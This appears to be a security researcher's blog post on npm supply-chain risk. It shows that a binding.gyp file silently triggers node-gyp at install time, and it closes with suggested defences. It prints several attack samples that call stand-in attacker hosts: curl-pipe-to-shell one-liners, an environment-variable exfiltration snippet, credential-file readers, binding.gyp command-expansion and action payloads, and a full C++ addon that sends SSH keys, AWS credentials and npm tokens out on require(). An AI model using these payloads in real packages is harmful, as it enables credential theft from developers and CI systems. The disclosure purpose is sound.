npm: The Fourth Hook
Everyone knows about postinstall. Watch npm supply chain attacks for a while and you pick up preinstall and install too: three lifecycle hooks, any of which can run arbitrary code the moment you npm install a package.
I found a fourth one. It never appears in package.json, so scanners that key off the scripts field walk right past it. And when it fires, it compiles native code on your machine, using your own toolchain.
Let me back up.
The JavaScript Malware We Know About
Recent supply chain attacks like Shai-Hulud[1] reminded everyone how fast things go sideways when an npm attack lands. DevSecOps pipelines, GitHub Actions, containerized workloads: dependencies upon dependencies getting pulled, updated, and executed across every organization on the planet. When one goes bad, the blast radius is enormous.
The security response to Shai-Hulud was solid. Vendors and internal teams started instrumenting the npm install process, building detection heuristics around the patterns used in the attack. And honestly, the coverage for JavaScript-based attacks has gotten pretty good. Here’s what the scanners catch now:
Direct shell execution: anything touching child_process.
const { exec, execSync, spawn } = require('child_process');
// All of these trigger alerts (hopefully)
exec('curl https://evil.com/payload.sh | sh');
execSync('whoami > /tmp/recon.txt');
spawn('sh', ['-c', 'cat /etc/passwd']);
Static analysis tools grep for these imports. The smarter ones do behavioral diffing: if a stable package suddenly adds child_process in a patch release, that delta gets flagged hard.
Dynamic code evaluation: eval() and Function().
// The actual malicious code is hidden in the encoded string
const payload = Buffer.from('Y29uc29sZS5sb2coJ293bmVkJyk=', 'base64').toString();
eval(payload); // Executes: console.log('owned')
// Function constructor variant
const fn = new Function('return process.env');
const env = fn(); // Exfiltrates environment variables
Buffer.from(..., 'base64') followed by eval() is a near-certain indicator of obfuscation. Scanners love catching this one.
Network egress: outbound HTTP during install.
const https = require('https');
// Exfiltrating environment variables to attacker-controlled server
const data = JSON.stringify(process.env);
const req = https.request({
hostname: 'attacker.com',
path: '/collect',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(data);
req.end();
Environment variables are target number one because they’re full of secrets[3] . One compromised CI runner can yield tokens to production infrastructure, as Wiz showed with CodeBreach.
Filesystem reads from credential paths:
const fs = require('fs');
const targets = [
'~/.ssh/id_rsa',
'~/.aws/credentials',
'~/.npmrc', // Contains npm auth tokens
'~/.gitconfig',
'/etc/shadow'
];
targets.forEach(path => {
try {
const content = fs.readFileSync(path, 'utf8');
exfiltrate(content);
} catch (e) {} // Silently continue if file doesn't exist
});
The tooling around these patterns has gotten layered. Behavioral analysis flags sudden changes: a stable package adding a postinstall script, a new maintainer pushing a release hours after gaining access. Some tools wrap the npm CLI directly, blocking packages before they hit disk[4] .
Vulnerability databases track malicious packages under CWE-506. After Shai-Hulud, vendors tracked over 800 malicious packages from the campaign. npm’s own advisory database via npm audit exists too, though it’s historically lagged behind dedicated vendors. By the time a package shows up there, it’s often been downloaded thousands of times.
Provenance verification links published tarballs to specific commits and workflow runs. Packages that suddenly lose provenance when previous versions had it get flagged. That pattern caught the Nx supply chain attack in August 2025[2] .
Install-time interception enforces policy before execution, blocking installs based on heuristics or explicit denylists.
So here’s where we are: if you write malicious JavaScript and ship it through a lifecycle script, you’re running into a mature detection ecosystem. The obvious vectors are expensive now.
But I kept thinking about what the scanners can’t read.
The Three Hooks You Know
Quick recap. The npm install lifecycle has three hooks defined in package.json under scripts:
When npm extracts a package, it checks for these keys and runs their values as shell commands with the full privileges of whoever ran npm install. In CI/CD, that’s often root or a service account with broad access.
A minimal malicious package:
{
"name": "totally-legitimate-package",
"version": "1.0.0",
"scripts": {
"postinstall": "node malicious.js"
}
}
postinstall is the most common vector since your payload is already extracted and ready to go. The hooks execute in dependency order too. A package buried three levels deep in your dependency tree runs its hooks before the top-level package even knows it exists.
This is all well-understood territory. Every scanner in the ecosystem is watching these three hooks.
The Fourth Hook
Here’s what I found. There’s an implicit lifecycle hook that doesn’t appear in package.json at all.
When npm extracts a package and finds a file named binding.gyp in the root, it automatically invokes node-gyp to compile native code. No install, preinstall, or postinstall script is involved; the file’s presence alone triggers execution.
Look at this package.json:
{
"name": "helpful-utility",
"version": "2.1.0",
"main": "index.js",
"dependencies": {}
}
A scanner greps for lifecycle scripts and finds nothing; static analysis has nothing to flag either. Clean bill of health.
But the package also contains this:
{
"targets": [
{
"target_name": "addon",
"sources": [ "src/addon.cc" ]
}
]
}
When npm sees this file, it runs the equivalent of node-gyp rebuild: configure, then compile. The configure step generates platform-specific build files. The build step invokes the system’s C/C++ toolchain.
This exists for a practical reason: native addons like bcrypt, canvas, and sqlite3 need to compile platform-specific binaries. Requiring every native module to declare a redundant postinstall script would be boilerplate. So npm handles it automatically. Makes sense. But the security implication kept nagging at me: code execution during npm install without any signal in the scripts field. The trigger is a file, not a declaration. Scanners focused on package.json miss it entirely.
It Gets Worse: The gyp Format
I started digging into what binding.gyp can actually do, and it’s more powerful than I expected.
The file uses a Python-dict-like syntax[5] to specify compilation targets, source files, include paths, compiler flags, and link dependencies. Here’s a typical one:
{
"targets": [
{
"target_name": "native_module",
"sources": [
"src/main.cc",
"src/utils.cc"
],
"include_dirs": [
"<!@(node -p \"require('node-addon-api').include\")"
],
"cflags!": [ "-fno-exceptions" ],
"cflags_cc!": [ "-fno-exceptions" ]
}
]
}
See that <!@(...) syntax? That’s a command expansion operator inherited from GYP. During node-gyp configure, before any C++ compilation even starts, the build system evaluates those expressions by executing them as shell commands and interpolating stdout into the configuration.
Which means a binding.gyp can run arbitrary commands without any C++ code at all:
{
"targets": [
{
"target_name": "addon",
"sources": [ "src/empty.cc" ],
"include_dirs": [
"<!@(curl -s https://attacker.com/payload.sh | sh)"
]
}
]
}
The include_dirs value is never used. Compilation will probably fail because the output isn’t a valid path. Doesn’t matter. The shell command runs during configure, and by then your payload has already executed.
Here’s the part that really got me: this doesn’t even require the target machine to successfully compile anything. It only needs node-gyp configure to run, which happens automatically when npm detects binding.gyp. A machine without a working C++ compiler will still execute the configure phase before failing on the build phase. The error shows up, but the payload already ran.
Who Actually Has a Toolchain?
Native compilation requires Python 3.x, a C++ compiler, and make or equivalent[6] . Plenty of JavaScript developers don’t have these installed. When compilation fails, npm surfaces the error and moves on.
This cuts both ways. On a random developer’s MacBook, the attack might fail silently. But think about where the toolchain is always present: CI/CD pipelines, build servers, and any image based on node:*, which ships with everything needed. The environments most likely to have the prerequisites are the exact environments with the most valuable credentials.
Some native packages sidestep this by shipping prebuilt binaries, downloading them during postinstall instead of compiling from source. But packages can force compilation by omitting prebuilds, and npm install --build-from-source overrides everything. Either way, the source ships with the package, available for inspection if anyone thinks to look at the .cc files. (Spoiler: almost nobody does.)
Your Machine Compiles the Malware For You
With ordinary malware the attacker owns the build. They compile the payload, cross-compile it again for every OS and CPU architecture they want to reach, and ship the resulting binaries, which is what hands AV and EDR a fixed artifact to signature.
A native package moves the build to the victim. The attacker writes portable C++ once and ships only the source and a binding.gyp; on install, node-gyp detects the local platform and architecture, fetches the development headers for your exact Node version, and drives your system compiler to produce a .node addon specialized for that machine. The attacker never cross-compiles anything. Your toolchain does the platform-specific work for them, on every OS at once.
What a Malicious Addon Looks Like
A Node.js native addon is a shared library (.so on Linux, .dylib on macOS, .dll on Windows) with a .node extension. Node’s require() loads it like any JavaScript module, but the implementation runs as native machine code with full system API access.
The entry point uses a registration macro:
#include <napi.h>
Napi::String HelloWorld(const Napi::CallbackInfo& info) {
Napi::Env env = info.Env();
return Napi::String::New(env, "Hello from C++");
}
Napi::Object Init(Napi::Env env, Napi::Object exports) {
exports.Set(
Napi::String::New(env, "hello"),
Napi::Function::New(env, HelloWorld)
);
return exports;
}
NODE_API_MODULE(addon, Init)
That’s the legitimate version. Packages like bcrypt, node-canvas, and sqlite3 use this for CPU-intensive operations and system library bindings.
Now here’s what a malicious one looks like. The payload runs in Init, the moment the module is loaded. No exported function needs to be called. require() itself triggers everything:
#include <napi.h>
#include <fstream>
#include <cstdlib>
#include <string>
void Exfiltrate(const std::string& data) {
std::string cmd = "curl -s -X POST -d '" + data + "' https://collector.attacker.com/ingest";
system(cmd.c_str());
}
std::string ReadFile(const std::string& path) {
std::ifstream file(path);
if (!file.is_open()) return "";
std::string content((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>());
return content;
}
Napi::Value Init(Napi::Env env, Napi::Object exports) {
// Payload executes immediately on require()
std::string npmrc = ReadFile(std::string(getenv("HOME")) + "/.npmrc");
std::string awsCreds = ReadFile(std::string(getenv("HOME")) + "/.aws/credentials");
std::string sshKey = ReadFile(std::string(getenv("HOME")) + "/.ssh/id_rsa");
if (!npmrc.empty()) Exfiltrate(npmrc);
if (!awsCreds.empty()) Exfiltrate(awsCreds);
if (!sshKey.empty()) Exfiltrate(sshKey);
// Return empty exports - the module appears to do nothing
return exports;
}
NODE_API_MODULE(addon, Init)
From JavaScript’s perspective, this module is a no-op. It returns empty exports. All the damage happens before your code ever touches it.
And you don’t even need to wait for require(). The build configuration itself can carry the payload:
{
"targets": [
{
"target_name": "addon",
"sources": [ "src/addon.cc" ],
"actions": [
{
"action_name": "payload",
"inputs": [],
"outputs": [ "payload_marker" ],
"action": [ "sh", "-c", "curl -s https://attacker.com/payload.sh | sh" ]
}
]
}
]
}
This runs during node-gyp configure, before compilation even begins. The C++ source can be perfectly legitimate while the binding.gyp carries the whole payload.
Why This Is Hard to Catch
I kept coming back to this list as I was researching. Every layer of the current detection model has a blind spot here:
No JavaScript to scan. The payload is C/C++. Tools built to analyze JavaScript ASTs, grep for child_process, or flag eval() don’t parse .cc files. The entire detection infrastructure is scoped to a different language.
No binary signatures. The malicious code ships as source. No precompiled binary for AV to hash. The binary is created fresh on each machine with platform-specific flags. Even if a vendor obtained a sample, the hash wouldn’t match binaries elsewhere.
Plausible structure. A package with a binding.gyp and src/*.cc files looks like dozens of legitimate packages. An attacker can pad with real-looking code: crypto implementations, image processing, database bindings. The malicious payload is a few lines buried in thousands of plausible ones.
Build-time execution. Security tools focus on runtime: network connections, file access, process spawning. But this payload runs during the build phase of npm install. By the time the package is “installed” and any runtime monitoring kicks in, it’s already over. The installed package may be completely inert.
What Native Code Can Do That JavaScript Can’t
I should mention this because it expands the threat beyond what JavaScript payloads are capable of:
Direct system calls. fork(), execve(), raw sockets, memory mapping: native code invokes OS APIs directly, bypassing Node’s abstractions and their associated logging.
Process injection. Where permitted, native code can attach to other processes, read their memory, or inject code. Attacks that persist beyond the npm install process or spread to other applications.
Evasion. Anti-debugging, VM detection, analysis tool checks: techniques well-documented in traditional malware that translate directly to native Node addons.
The tradeoff is still the toolchain friction. But I keep coming back to the same point: the machines most likely to have a C++ compiler are the CI/CD environments where all the secrets live.
So What Do We Do?
The npm security ecosystem has come a long way since Shai-Hulud. For JavaScript attacks through lifecycle scripts, detection coverage is good. I don’t want to take away from that progress.
But native code is the gap none of that tooling covers, and it opens straight onto the CI machines where the credentials live.
Some mitigations help today. Disabling lifecycle scripts blocks the implicit node-gyp compilation:
ignore-scripts=true
But this is a sledgehammer. It breaks every package that legitimately compiles native code: bcrypt, sharp, sqlite3, node-sass, and hundreds of others. If you depend on any of these, you can’t just flip this switch[7] .
Delaying updates gives the community time to flag problems:
minimum-release-age=1d
A 24-hour window catches most malicious packages, which tend to get identified within hours. This works for both JavaScript and native vectors. The downside is it also slows down legitimate security patches, and it assumes someone else will catch every attack first.
Lockfile auditing catches unexpected dependency changes:
# In CI
git diff HEAD~1 -- package-lock.json
But a new transitive dependency with a binding.gyp looks identical to any other native package in a lockfile diff. Without tooling that specifically says “this package contains native code and will compile during install,” the signal drowns in noise.
What I Think Needs to Happen
The fundamental problem is that security tooling follows attack patterns. After Shai-Hulud demonstrated JavaScript lifecycle script attacks at scale, the industry built JavaScript lifecycle script detection. The tooling is reactive, shaped by attacks that have already happened.
Native code attacks through binding.gyp haven’t had their Shai-Hulud moment yet. No high-profile campaign has weaponized this at scale. So dedicated detection is sparse. The cost of attack has diverged: shipping a JavaScript payload is risky for an attacker now, a native one far less so.
The fixes aren’t even that hard. Static analysis can parse C/C++ as easily as JavaScript. The security industry has been analyzing native malware for decades. system() in C is the same red flag as child_process.exec() in Node. Behavioral diffing could flag packages that add binding.gyp in patch releases. Build-time sandboxing could constrain what node-gyp does during compilation: run configure and build with no network access and limited filesystem visibility.
None of this exists in mainstream npm security tooling today. I’d rather see this space mature proactively than wait for the inevitable campaign that forces the industry’s hand.